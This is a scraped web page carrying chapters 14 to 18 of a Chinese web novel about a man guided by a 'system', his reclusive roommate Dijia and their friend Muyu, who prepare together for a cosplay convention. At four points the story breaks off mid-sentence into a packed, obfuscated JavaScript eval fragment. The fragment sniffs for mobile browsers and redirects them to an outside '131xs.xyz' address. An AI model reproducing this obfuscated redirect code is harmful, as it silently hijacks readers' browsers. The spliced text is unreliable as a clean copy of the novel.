l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251686|181991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么去了。 经过昨天一天的洗礼，今天祁帘栅已经能面带微笑，装作很专业地，给每个顾客推销产品。 老板路过他身边时，还对他的表现表达了赞赏，有些惊奇于祁帘栅一天的进步。 等祁帘栅下班后，他只觉得自己的大腿要失去知觉了，抬起腿的时候差点一膝盖跪在地上，只能一点点往前挪。 同事见祁帘栅如此热爱工作岗位，下班还依依不舍，对他投以敬佩目光。 祁帘栅看着同事投来的敬佩神情，嘴角一抽，在心里对系统吐槽道：“我不是故意被人误会的。” “你是有意的。”系统很快接道。 祁帘栅无语，祁帘栅不语，只一味艰难挪动自己僵硬的腿。 系统很不给面子地笑了两声。 祁帘栅好不容易挪到房子门口，打开房门，终于感觉一阵放松，立刻想躺回床上睡一觉。 他刚走进房门，就看见所有窗帘都拉紧的客厅里，站着一位肤色惨白的男子。 祁帘栅一惊，差点退出房门。 男子看见祁帘栅的动作，不明所以地皱起眉，让他本来就白的肤色显得更加惨白，有种不近人情的感觉。 “他就是站在那，你就不敢进门了？”系统没好气的声音在祁帘栅脑海中响起，“切，胆小鬼。” 祁帘栅吞了下口水，忽略系统的声音，走进房子，关上了门。 祁帘栅转过头，他本以为男子是恰好往外走，才和自己对视上。 但直到他把门关上后，一回过头，男子依旧在注视着他。 祁帘栅有些意外，他不太明白男子的意思，犹豫片刻，和他说出了这么多天的第一句话：“有什么事吗？” 祁帘栅的态度称得上是亲和，但男子依旧没什么反应。 他过于白的肤色暴露在隔绝了大部分光的室内，脸上没什么表情，似乎是没听见祁帘栅的话。 祁帘栅说出的话掉在地上，有些尴尬。 男子就是这么静静地站着，他一直用着最普通的姿势，但因为奇特的相貌，硬是展现出几分不同寻常。 任何一个人和他那双浅到极致的眸子对视，都会生出一股怪异的感觉，仿佛面前站着的不是一个人，像是另一种生物。 祁帘栅感到自己心中升起的念头不太尊重人，赶紧打消。他又和男子浅淡的眸子对视了几秒，才忍不住偏过头。 男子没有动作，祁帘栅礼貌地绕过男子身侧，准备回房。 男子却随着他的方向转过头，视线一直盯在祁帘栅背后。 他浅金色的睫毛下，淡琥珀色的瞳孔闪了几下，对着祁帘栅的方向，有些犹豫地张了张嘴。 祁帘栅突然想起什么，再次转过身，走到餐桌前，给自己的杯子里倒了一杯水。 他感觉嘴里有些干，一口气喝了好几杯水。 男子依旧站在不远处看着祁帘栅。 就在祁帘栅喝下最后一口水，还没来得及咽下去时，男子在他身后说话了。 他的声音不大，也听不出什么情绪：“谢谢。” 15.狄加 祁帘栅差点一口水喷出来，他赶紧把嘴里的水咽下去。 再次转过头时，男子已经走回房间，顺手把门关上了。 祁帘栅有些莫名其妙，他问系统：“为什么他要跟我说谢谢？” 系统也有些摸不着头脑，试探性道：“也许是你早上顺手帮他丢了外卖袋？” 祁帘栅有些无语，“不会吧？这也不是多大点事，他看起来不太像会为了这种小事道谢的人。” “那还有什么？”系统没好气道，“感谢你今天出门时发出巨大的关门声，把人家从睡梦中吵醒？还是你昨天大晚上不睡觉，站在门口偷窥人家？” 祁帘栅一时语塞，越发不明白这个室友的想法。 祁帘栅又思考一阵，没得出什么其他结论，也就没再想这件事。 不知道是不是他的错觉，自从那件事过后，祁帘栅总觉得他这个室友对他的态度有些好转，甚至在祁帘栅休假的时候，两人在客厅碰面，男子还会对他微微点下头。 虽然祁帘栅不仔细看根本发现不了。 还有一次，男子的房门没有关好，祁帘栅看见了他卧室里一个巨大的模型，系统告诉他好像是一个叫迪迦的奥特曼。 祁帘栅也渐渐看出来男子平时在干什么，他似乎是做着什么网络工作，平时不用露面。 男子经常大半夜不睡觉，不知道在做些什么，白天一般到中午才会醒，然后就点个外卖。 祁帘栅早上出门上班都会小声一些，尽量不吵醒男子，有时看门口放着男子的外卖袋，就会顺手帮他扔了。 有次祁帘栅还是没忍住，开口问男子：“你这么昼夜颠倒身体真的没问题吗？” 男子只是静静看着他，很平静地开口：“习惯了。” 祁帘栅也没立场再说什么话，只能尴尬地点点头。 平时主卧客厅都紧紧拉着窗帘，祁帘栅只在自己房间拉开窗帘，他的次卧就成了整间房子唯一的亮源。 祁帘栅有时会想，男子是不是也会偶尔想出现在阳光下，但每次看见他紧闭的卧室门，祁帘栅又觉得是自己自作多情。 一个月过去，两人的相处堪称和谐，祁帘栅把这归结于两人作息相反，平时见不了两面，所以矛盾自然就少。 直到这天，商店老板正好给祁帘栅放了一天假，祁帘栅缩在家里，有些无聊。 他还没想好今天出门干点什么，从他租房起就是摆设的门铃突然响了起来。 祁帘栅吓了一跳，想起隔壁室友正在睡觉，只得急忙跑出房间，想先把门铃关了。 谁知他刚出房间，就见男子不知什么时候已经起来了，正准备到门口接听。 祁帘栅被他反常的举动弄得一愣，问道：“你朋友？” “嗯。”男子应了一声，走到门口，他没有接听，直接按下了开锁键。 咔的一声，楼道门应该开了。 住了这么久，祁帘栅第一次见有人来找男子，虽然有些好奇，但他还是准备回屋，把客厅让给男子和朋友。 祁帘栅还没来得及走进房间，大门就被人撞开了，一道极其有穿透力的声音响起：“狄加，这段时间没来找你，想我没？” 祁帘栅一激灵，下意识往后看了一眼。 就见一个粉头发的女孩踮着脚，一把搂上男子的肩，看起来很亲密的样子。 男子少见有些不好意思，身体往旁边躲了一下。 祁帘栅第一次看见男子脸上出现不同的表情，虽然他还是淡淡的，但好歹有了点活人气。 女生突然松开手，直直盯着男子，声音听起来不太高兴：“你这段时间是不是又在吃外卖？又熬夜了？” 男子默默侧过身，挡住门口的外卖袋，小声说道：“没有。” 女生完全不相信他，她很自来熟地走到沙发上坐下，指着男子脚边露出的外卖袋：“别狡辩，我都看见了。” 男子沉默下来，他没再说话，默默走到女生旁边坐下。 女生看着他这副样子，叹了口气：“真不知道该拿你怎么办了？自己的身体也爱护点喂！” 男子依旧没说话，只静静坐在女生身边。 “算了算了，不说这件事了。”女生见男子说不动，干脆转变了话题，“说点正事，我这回来找你，是为了下周的漫展。” “展子不是大，但看起来挺有意思的。你都在家待了三个月了，也该出去透透气。”女生冲他眨了眨眼，“怎么样？去不去？” 男子垂着眼睛，半天没说话。 女生也不急，就在一边静静等着他回话。 良久之后，男子才小幅度地点了点头。 女生见状，立刻笑起来，“我就知道，你肯定会陪我去的，天天闷在家里对身体也不好。你最近不是新做了一个迪迦的模型吗？快给我看看。 ” 男子点了点头，站起身准备带女生去他房间里看模型。 两人抬起头，正好看见站在次卧门口的祁帘栅。 女生看见祁帘栅就是一愣，祁帘栅已经愣了很久，半天没回过神。 男子看到祁帘栅正想对他点点头，一转眼，就见他和女生两人都愣在原地。男子不明白发生了什么，站在一边没动。 还是女生先惊讶出声：“熊猫老师！你怎么在这？” 她说完这话，突然意识到什么，再次问道：“我听狄加说他找了个合租室友，不会就是你吧！” 祁帘栅只觉得人生有些荒谬，再巧合也不过于此了，他默默点了下头，对女生道：“木鱼老师，好巧。” 木鱼抛下男子，快步走到祁帘栅身边，眼神里闪着八卦的光，那表情都快将他活剥了，“熊猫老师，你快给我讲讲，你们两个怎么就住到一块儿了？” 祁帘栅向后退了一步，无奈道：“没什么，我在网上找房，正好就和他租到了一起。” “这么巧？”木鱼明显有些不相信，“说，你们是不是还有什么我不知道的关系？”木鱼的目光在他们两人之间来回移动，笑得有些奸诈。 祁帘栅赶紧解释道：“真的没有。” “那你们俩个住这么久，就没发生点什么？”木鱼仍旧不死心道。 “我们两个能发生点什么？”祁帘栅一脸无语，“他把我吓了好几次算吗？” “怎么吓的？”木鱼眼睛顿时亮了起来。 祁帘栅正要开口，余光瞥见身后的男子，顿时噤声。 木鱼也转过头，就见男子正静静站在她身后。 木鱼这才想起来自己忘了正事，她换上一副严肃正经的表情，对着祁帘栅道：“这是狄加，我们三年前认识的，很早就是亲友了。” 狄加面色有些僵硬，还是冲祁帘栅点了点头。 祁帘栅正想跟他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16261558|181991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打个招呼，木鱼在他眼前一晃，换了个位置站着，又对狄加道：“这位就是我说的熊猫老师，上次漫展你没来，他给我当的打底娘。”说着木鱼没忍住笑了起来。 祁帘栅恨不得捂脸逃走，狄加却对着他伸出手，很郑重地说了一句：“你好。” 祁帘栅犹豫几秒，伸手回握住狄加：“你好。” “OK，”木鱼突然冒头，插在两人之间，祁帘栅和狄加被迫分手，“你们也认识了，那下周的漫展一起去吧？” 狄加说完那句话，又再次沉默下来，没说好也没说不好。 祁帘栅觉得有些尴尬，出声解释道：“我现在工作不好请假，恐怕没时间去。” “漫展在周末啊？”木鱼奇道，“正常人周末不是放假吗？” “额，”祁帘栅不知道怎么跟她解释，木鱼突然反应过来，立刻改口：“哦对，你应该跟我一样，没什么固定工作，不然也不会来给我当打底娘了。” 祁帘栅其实很想提醒木鱼，也不用天天把自己当打底娘的事大声说出来，但木鱼没给他说话的机会：“没事，我们一起想想办法，下周的展真的好好玩的，还有小活动。” 祁帘栅正想着礼貌拒绝木鱼，就感觉腰侧一痛，系统又开始念叨：“别忘了你第二阶段的任务，恢复失去的人气！不能浪费任何一个机会！” 系统威胁的声音响起，祁帘栅立刻话音一转，咬牙切齿道：“好！” 木鱼听到这话，立刻兴奋起来，开始给他们两人讲起下周的漫展。 “这个漫展是我喜欢了十年的ip，今年就是世界线收束的时候，哎，我记得狄加你也看过，”祁帘栅的视线随着木鱼的话看向狄加，就见狄加点了点头。 木鱼看向祁帘栅，继续道：“熊猫老师，你看过没？” 祁帘栅刚想说没，木鱼又继续道：“这个ip很火，应该没人不知道吧。” 祁帘栅被迫转换话题，“看过，还挺喜欢。” “那太棒啦！”木鱼开心道，她说着突然意识到什么，有些不好意思地看向狄加，“我差点忘了，这是个only展，不太好带你的大家伙。” 狄加只默默点了点头，祁帘栅也看出来了，他话一直很少，点头就是默认的意思。 “下次展我帮你拉东西。”木鱼大方地拍拍胸脯，“这回你就当陪我走走。” 狄加又点了点头。 木鱼又看向祁帘栅，“你呢？有什么想cos的角色没？我还记得我答应过你的事呢。” 祁帘栅被迫想起木鱼上次顶着他的脸干出的事，摇了摇头，“还没想好。” “那行，你在下周之前告诉我就行。”木鱼没再纠结这个话题，她转向狄加，继续起刚才的话题：“哦对，快带我去看看你新弄好的模型。” 狄加点点头，他站起身，推开主卧的门。 祁帘栅这是第一次毫无阻隔地看到狄加的房间，让他意外的是，狄加虽然一直宅在家中，但他的房间意外得整洁。 床单被套都是浅灰色的，整个房间也多是冷调，他的东西不多，都井井有条地摆放在桌面上。 唯一和整个房间格格不入的，就是角落里那一个两米高的奥特曼模型。 祁帘栅看不出是用什么材料做的，只能看出制作者很用心，整体也很精致。 “太妙了！”木鱼一阵夸赞。 16.初见 狄加听见这话后，面上并没有流露出多少开心的神色，他依旧静静站在一边，没有开口。 木鱼似乎早就习惯他的行为了，自顾自说道：“你最近又研究出来什么好办法？”木鱼没等狄加回答，似乎是早就知道他不会开口。 木鱼直接了断道：“看来以后道具全得靠你了，大师！看在我们认识这么久的份上，多给我打点折吧。” 狄加听到这话，才安安静静地点了下头。 木鱼得到他的回复，立刻开心起来，“我就知道，狄加你人最好了！” 狄加听到这句话，表情有点迟疑，半天没回复木鱼的话。 木鱼毫不给面子地揭穿狄加：“别不好意思了，我实话实说嘛。” 祁帘栅在一边看着狄加本就浅淡的肤色上似乎有了些温度，像是阳光透过遮光窗帘的剪影。 木鱼见狄加依旧不说话，无奈摇了摇头，她转向祁帘栅，问道：“我们去沙发上坐会儿？” 祁帘栅今天本来就没什么事做，索性顺着木鱼的意思答应下来。 木鱼见祁帘栅同意，狄加也没有强烈反对的意思，一手拉过来一个，推着他们两个来到客厅。 木鱼很自来熟地往沙发上一坐，祁帘栅一般都是待在自己房间里，第一次在客厅沙发上坐下，有些不适应。 狄加走到厨房，给他们三人一人倒了杯水。 趁着这个间隙，木鱼凑到祁帘栅耳边，悄悄说了句：“狄加性格就这样，你别介意。” 祁帘栅认真道：“我没介意，每个人性格不同，他这样自己舒适就行，我觉得挺好的。” 这回反倒木鱼是木鱼愣了一下，她有些没想到祁帘栅能说出这样的话，看着祁帘栅的目光明显变化了几分。 “看不出来啊！”木鱼打量了祁帘栅两眼，赞同道，“我本来以为他这种性格肯定会得罪人，没想到你们俩个相处得挺好，” 狄加这时正好端着三杯水走到桌边，就听木鱼说道：“那我就放心了。” 狄加有些莫名其妙，看着两人的表情越发疑惑起来。 木鱼没再继续这个话题，她招呼着狄加坐下，这才端起杯子喝了一口水。 “气足！”木鱼喝完一口，对着狄加竖起拇指。 祁帘栅见状，对着狄加道了句谢，也端起杯子，就看见一杯黑色的液体。 他愣神之际，黑色液体中升起几个气泡。 祁帘栅没想到狄加端来的是三杯可乐，他还以为是茶水，再不济也是白开水。 祁帘栅转头看向狄加，在他的印象中，狄加不像是那种拿出可乐招待客人的人，反倒是像身边的木鱼能做出来的事。 “你怎么不喝啊？”木鱼见祁帘栅端着杯子，一副若有所思的样子，“你不会是老古董吧？觉得可乐喝完会骨质疏松，跟我妈一样？” 祁帘栅倒是没这种想法，他平常对健康的要求也没多苛刻。他生活的年代也有可乐，只是他没多少兴趣，所以一年来喝不了几次。 “那道没有，偶尔喝喝也不错。”祁帘栅说着，举起杯子放到嘴边，喝了一口可乐。 气泡在嘴里炸开，还是冰镇的，估计是狄加早就在冰箱放好的。 “我就说嘛，招待人不要老倒茶了，还是冰可乐好喝。”木鱼说着，又满足得喝了一大口。 祁帘栅算是明白狄加这是跟谁学的了。 狄加坐在他们旁边，也端起可乐喝了一口，看起来挺认同木鱼的观点。 祁帘栅突然就有些好奇，他问木鱼道：“你们是怎么认识的？” “这就说来话长了，”木鱼一下打开了话匣子，“我和他是在一次漫展上认识的，当时我见他cos得挺好，上去跟他搭话。” “结果他刚看见我往他那边走过去，就避开我往人群跑。”木鱼说着，没好气往狄加那边看了一眼，“我在身后一连叫了他好多次，结果他不仅没回头，反而跑得越来越快了。” 木鱼说话的时候，狄加就默默坐在一边，他浅色的睫毛垂在脸上，也没看祁帘栅两人。 “我一直在后面追着他，他就一直跑，拐了好几条街，我才好不容易追上他。”木鱼说着就来气，恼火地看着狄加，“谁知道他一转头看见我，那么大一个男人还被我吓一跳，转头又要跑。” 祁帘栅已经能想象到木鱼踩着二十厘米增高鞋追着狄加这么个大小伙跑遍漫展时候的情形了。 祁帘栅想起来前几次和木鱼逛展时候的尴尬场景，一下就和当时的狄加共情了。 木鱼说到这，有些好笑，“我好不容易抓到他，哪能让他跑，肯定是霸道木鱼强制爱了。” 见祁帘栅有些不解，木鱼只得给这个老古董解释道：“我拉着他拍了几张照，然后又跟他加了联系方式，才把他放走。” “当时那场景你是没见到，狄加都快吓死了，差一点就跑没影了。”木鱼说着笑起来。 “没有。”狄加本来在一边听着，见木鱼说得夸张，终于出声辩解。 只是他就说了两个字，就没后文了，听起来有些没底气。 祁帘栅看着狄加一副正襟危坐的样子，又看了看木鱼很没形象地大笑，总觉得狄加的话更可信些。 “好吧好吧，”木鱼见狄加这么安静的人好不容易说句话，改口道，“没那么夸张了，”她余光瞥见狄加继续低下头，“但是也差不多。” 狄加再次抬起头，安静地看向木鱼。 木鱼还准备要说什么，突然手机铃声响了起来，她面色一变，一脸悲痛地对着祁帘栅和狄加说了一句：“完了，我得走了。” 祁帘栅第一次见木鱼露出如此悲痛欲绝的表情，感觉有些意思，就听木鱼的电话里传出一声气愤的女声：“你人去哪了？” 木鱼赶紧解释道：“老板，我昨天吃坏肚子了，去了趟厕所，这就回来！” 那边又说了几句话，木鱼连连应声，语气很是诚恳。如果祁帘栅没有看见她生无可恋的表情，大概会以为木鱼非常热爱工作。 好不容易应付完那边，木鱼有气无力地瘫坐在沙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16281226|181991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发上，“我得继续回去完成牛马的使命了。” “慢走。”狄加站起身，对着木鱼说道。 狄加面上依旧是一副安静的表情，他走到门口，甚至帮木鱼打开了大门。 “狄加，你太让我伤心了！”木鱼哀叹着，走出大门，冲祁帘栅和狄加两人告别，“那就周末再见吧。” “再见。”祁帘栅站在门口目送木鱼离开。 关上门后，祁帘栅见狄加半天没走，神色间有些不解。 祁帘栅想了想，还是对狄加说了一句：“她就是随口说说。” 狄加看了祁帘栅一眼，点了点头。 他走到餐桌前，将木鱼喝完的杯子收走。祁帘栅也帮着他把自己和狄加的杯子收过去。 狄加收好木鱼的杯子，转头见祁帘栅又拿来两个杯子，愣了一下。 祁帘栅对着他说道：“这些放哪？” 狄加接过祁帘栅的杯子，又倒了一杯可乐递给祁帘栅。 祁帘栅站在原地，有些疑惑。 狄加又拿过他自己的杯子倒了一杯，往沙发前走去。狄加见祁帘栅半天没过来，又说了一句：“不到三杯算没喝。” 好吧，祁帘栅好像又知道这奇怪的理论是谁告诉狄加的了。 他陪着狄加坐在沙发上又喝了两杯可乐，狄加才把杯子收起来。 祁帘栅犹豫了一下，想和狄加说点什么，狄加又走进房间里开始工作了。 祁帘栅听着他房间里传出来键盘敲击的声音，想了想，还是出门溜达了一圈。 祁帘栅回来的时候想起来木鱼说的ip，他还是决定去了解一下，这一了解，祁帘栅就像是打开了新世界的大门，一连三天晚上在系统空间里都没有睡觉。 系统在一边啧啧称奇，看着祁帘栅一副入迷的样子，奇道：“什么玩意这么好看？你们人类真奇怪？” 见祁帘栅没有理他，系统明显有些不高兴：“这是老年人突然染上手机瘾了？连话都听不见，不会老年痴呆了吧？” 祁帘栅终于听见系统的话，视线依依不舍地从系统给他变出来的手机屏幕移开。 他有些后悔自己没早发现手机的好玩之处，对系统说道：“我觉得，等我工资够了，还是应该买一个手机。” “祁帘栅，”系统嫌弃道，“你没救了！” 又这么过了几天，就到了木鱼跟两人约好的时间。 这几天狄加的话依旧很少，但祁帘栅跟他相处起来自如了很多，两人之间的尴尬气氛也几乎消失了。 木鱼来的时候，祁帘栅和狄加还没起床。 祁帘栅在睡梦中隐约听见有人敲门的声音，因为太困，他翻了个身又睡死过去。 系统这回好心地没有提醒他。 等祁帘栅再次睁开眼睛的时候，他就看见一个怪力萝莉，抬着一个巨大的行李箱，向着他卧室走来。 祁帘栅被吓得一个激灵，立刻清醒过来。 就见木鱼少见地穿了裙子，正一脸不怀好意地看着他笑。 17.毛娘 “时间到了，快起床，不然来不及了。”木鱼说着在半开的卧室门上敲了两下，走到客厅开始收拾东西。 祁帘栅又坐在床边清醒了几分钟，才小心翼翼地走出房门。 他看着木鱼从巨大行李箱里拿出一个支架，在一边组装好，接着又从箱子里拿起来一个头安在支架上。 狄加也从他的房间里把刚准备好的假发拿出来。 等祁帘栅走到他们身边时，本来还算整洁的沙发上已经堆满了衣服道具，几乎找不到落脚的地方。 “你可算醒来了，”木鱼一边把自己橙色的长假发搭在抿嘴哥头上，余光看见祁帘栅走过来，说道，“现在都凌晨三点了，你再不起来，我们可来不及了。” 祁帘栅算了一下，漫展九点开始，他们从这里最早七点出发，怎么算还有四个小时，化个妆穿个衣服应该来得及。 只是他看着木鱼的假发，又看了看狄加拿出来的假发，总觉得有些怪异。 狄加的假发是一个黄色短发，看起来造型挺精致，连头发丝都像是抠出来的，而木鱼这个假发，却显得有些凌乱，造型也软塌塌的。 用大白话来讲就是不好看，像从垃圾桶里捡出来的。 祁帘栅看着木鱼一条条把凌乱的发丝梳理整齐，依旧觉得缺了点什么。 他忍不住开口问道：“你这个假发是不是不太对？” 木鱼一听这话，顿时苦起张脸，“我今天一早才想起来忘了约毛娘，假发还是昨天才到的毛胚啊啊啊，不要提醒我！我也不想顶着这玩意去漫展啊！” 木鱼说着，已经能想象到自己化着精致妆容，却顶着个刘海都剪歪的毛胚假发出现在漫展的样子，整个人就像是一下子被抽干了全部精力，瘫倒在沙发上。 祁帘栅看着木鱼刚才拿着剪刀剪出来的“斜刘海”，在本来就不太好看的抿嘴哥脸上显得更加惨不忍睹。 特别是木鱼直接一刀减下去，刘海也没有层次，直接厚厚一层遮在抿嘴哥脑门上。 祁帘栅突然意识到，干什么事情天赋还是蛮重要的。 木鱼愁苦地看着面前的橙色假发，不知道下一步该怎么下手，祁帘栅叹了口气：“要不我来帮你弄弄，要弄成什么样？” 木鱼立刻转头看向他，眼睛亮起来，一股脑把剪刀塞到祁帘栅手里，将抿嘴哥前面的座位让给他。 祁帘栅被迫跟看起来不太高兴的抿嘴哥对视，意外觉得这假发还挺衬他的气质的。 木鱼已经把手机递过来了，她怕祁帘栅看不懂，甚至将教程都搜好放在他面前，然后就跑到一边看狄加做道具。 这回他们其实没什么可做的东西，最多做个账号卡，狄加将提前打印好的图片拿出来，又开始用3D打印机做外壳，这样能显得精致些。 祁帘栅坐在抿嘴哥面前，为了不辜负木鱼盲目的信任，他认真研究了一下，将假发分好区。 幸好木鱼这顶假发做法不是很复杂，就是修剪个刘海，再编个辫子就行，不用全头拆了重做。 祁帘栅把假发分成一好几层，一层层开始修剪，打薄之后又拿夹板烫一下，虽然跟原图比起来还有差距，但比木鱼之前剪得已经好了不少。 木鱼被祁帘栅这边的动静吸引过来，看着祁帘栅“专业”的手法，满意地点了点头，“看不出来，熊猫老师你还挺专业的。” 祁帘栅不好意思说是木鱼太不专业，实活实说道：“我这是第一次剪假发，说不上专业。” “不不不，”木鱼赶紧摆手，“我是说真的，你要不重新考虑一下，干脆当毛娘得了。” 祁帘栅一听眉头就跳了一下，问出了自己一直想问的问题：“为什么都是娘啊？” “这个嘛，”木鱼自己其实也没了解过，她想了想，有些不确定道，“应该是干这一行的普遍是女生吧？” “好吧。”祁帘栅剪好一侧的刘海，对照了一下图片，只有六七分相似，“不过我技术不行，大概率干不了这一行。” “哎呀，我之前化妆也化得没有其他专业老师好，多用些客妹练练手就好了。”见祁帘栅只是把另一边的头发放下来开始修剪，压根没认真考虑自己的提议。 木鱼还是不死心，跟个传销组织头目一样，在祁帘栅耳边跟他描绘未来的光明前景，“你看啊，毛娘这个工作不用露面，网上接单就行，甚至没什么成本，就平剪牙剪夹板卷发棒发蜡发胶热熔胶头模包装袋打包盒梳子皮筋卡子定位针支架抿嘴哥，就行了。” 木鱼连说一串连气都不喘，祁帘栅被这一堆东西弄得头晕脑胀，他弱弱问：“真的没什么成本吗？” 木鱼有些心虚道：“你想开点，比一瓶大几百的粉底液好多了。”她的视线有些飘忽不定，“而且这行吧，除了容易中毒也没什么不好……” “啥？”祁帘栅听到这话，手上的动作就是一停，他看了木鱼一眼，有些想将手中拿着剪刀扔掉，“我现在不干还来得及吗？” 木鱼立刻伸出手按在祁帘栅肩膀上，将本来想起身的祁帘栅牢牢按在椅子上，“熊猫老师，我今天的形象就全靠你了！救人一命，胜造七级浮屠啊，老师？” 祁帘栅见木鱼如此诚心，想着做一次假发应该也不至于中毒，只能好心地继续给她做假发。 木鱼见祁帘栅没有要离开的意思，松了口气，“谢谢老师，你真是大好人。” 祁帘栅眼角一跳，一刀差点剪偏。木鱼赶紧闭嘴，不敢说话了。 狄加做好道具，转过头看祁帘栅做假发。 木鱼在一边看着时间差不多了，还剩两个小时就要出发，她赶紧把狄加拉到座位上坐下，“时间不够了，我先给你化妆。” 祁帘栅听见这声，看自己假发造型才弄好一半，赶紧加快速度。 木鱼飞快地给狄加化好妆，转头见祁帘栅还在做最后一缕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16292083|181991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刘海，她冲祁帘栅道：“熊猫老师，我先给自己化妆了，我的形象就交给你了，你一定要加油啊！” 祁帘栅见木鱼手上动作飞快，粉扑胡乱在脸上拍着，一手就去拿定妆喷雾，那手都快拍出残影了。 他有些想不明白，于是问木鱼：“我们不能提前几天准备好吗？为什么要把所有事集中在今天早上？” “你不懂。”木鱼百忙之中抽出时间回答他，“你知道老手跟新手的最大差别是什么吗？” “什么？”祁帘栅问道。 “就是准备时间啊！”木鱼见祁帘栅不明白，抿着嘴在脸上狂喷一通定妆喷雾后，才继续解释道，“新手往往会对自己不自信，提前一个月就把各种东西准备好。” “而像我们这种老手就不一样了，我们对自己实力自信，可以精准判断出自己的极限，往往在最后一天才开始准备。”木鱼说得一本正经，狄加没忍住看了她一眼。 木鱼继续煞有其事地讲道：“就比如现在，我断定我们一定可以在四个小时内收拾完，你看现在时间是不是差不多，所以我们一秒都没有浪费！” 祁帘栅听到木鱼的理论，手下动作微停，转身给木鱼比了个厉害的手势。 木鱼丝毫不心虚，一副语重心长的样子对祁帘栅说道：“你现在还年轻，等到我这个岁数就知道了。” 祁帘栅看了木鱼一眼，“我好像比你大。” “都差不多，熊猫老师，我们得抓紧时间了。”木鱼对着镜子开始给自己画眼妆，祁帘栅没再打扰她，只是加快了手上的动作。 等木鱼给自己化好妆后，祁帘栅才终于在假发上编好最后一朵花，因为第一次编发，木鱼的工具又不齐全，他在假发上别了一堆一字夹才勉强把辫子固定成花的形状。 祁帘栅来不及欣赏自己的劳动成果，就被木鱼一把拉过去开始化妆。 狄加这个时候已经换好衣服，把自己银白色的头发藏在黄色的假发下，看起来像是变了个人。 他穿了个十厘米的增高鞋，看样子和祁帘栅差不多高了，藏起他浅色的发丝后，狄加明显精神了不少。 他这会儿没什么事，就坐在一边静静等着祁帘栅和木鱼两人。 木鱼手法熟练，很快给祁帘栅化好妆，她满意地捧着祁帘栅的脸看了两眼，就催促着他赶快去戴假发。 祁帘栅站起身，才终于想起来自己忘了什么，据木鱼所说，她因为心急买错了衣服号码，自己又重新买了一套，所以之前的衣服可以直接给他穿，但是，他压根没想到假发这回事！ 木鱼带好发网，手忙脚乱地给自己戴上假发。她见祁帘栅愣在原地，又再次催促了一句：“愣着干什么啊？我们还有二十分钟就要出门了。” 祁帘栅有些心虚，他小心翼翼地看了木鱼一眼，又看向已经做好准备，随时可以出发的狄加，小心问道：“那个，我要是忘了买假发怎么办？” 18.斗笠 “什么？”木鱼惊呼出声，猛地转头瞪向祁帘栅。 狄加听到这句话，脸上的表情也是一瞬间僵硬起来，看着祁帘栅的目光很是复杂。 祁帘栅见状，默默缩了下脖子，犹豫开口：“那个，我最近在看原著，太入迷，所以这件事就忘了……” 木鱼看着祁帘栅，嘴角抽了抽，她抬头看了眼祁帘栅的头发，长短倒是合适，就是早上刚被拉起来，发型有些感人。 该说不说，幸好他们这回给祁帘栅留的是个黑发角色，真发勉强能用，这才不至于让祁帘栅顶着一个卤蛋头出门。 木鱼没好气地直接把祁帘栅脑门上的发网扯了下来，对他说道：“算了算了，你把自己的真发照着图片整理一下吧，我服了，你快点。” 说着木鱼把发蜡发胶夹板一股脑全塞祁帘栅手里，催促着他上镜子前整理。 祁帘栅无法，有些心虚地对着镜子照了照，觉得自己发质软塌，要做成图片上的造型难度挺大。 狄加对着祁帘栅的头发看了一阵，突然回了房间。 祁帘栅拿着夹板正在发愁，就见狄加从身后走来，手里拿了一顶黑色假发。 狄加没说话，只把手上的假发递给祁帘栅。 祁帘栅有些犹豫，指了指自己，又指了指假发，狄加点点头。 木鱼看见狄加拿出来的假发有些惊喜，“狄加，你还有顶黑色假发啊，幸好幸好，不然我们的组合就要被个卤蛋头毁了。” 说着她转头恶狠狠盯着祁帘栅，祁帘栅有些心虚地别过头，“经验不足，我下次一定提前准备。” 木鱼和狄加见祁帘栅认错态度良好，也没真的怪他，掐着时间过来帮他整理假发。 狄加拿出来的假发是个常用的m字刘海，戴出去至少跟一半黑色头发的男角色撞发，但偏偏祁帘栅cos的角色头发是三七分，导致他还得重新分开发丝。 因为时间紧迫，他们三人之间把假发扣在祁帘栅头上做造型。 祁帘栅自己看不到头顶，木鱼和狄加就帮他捏后半部分的发丝。他自己则对照着图片，将刘海部分弄好。 “好了，完成。”木鱼说着拉伸了下腰，满意地盯着自己的作品。 狄加默默看了木鱼一眼，没说话。 祁帘栅站起身，对着镜子照了一下，正准备偏过头看看后脑勺的样子，就被木鱼按住了。 “来不及了，我们得走了。”木鱼说着将自己的小包背上，就带着两人急急忙忙地出了门。 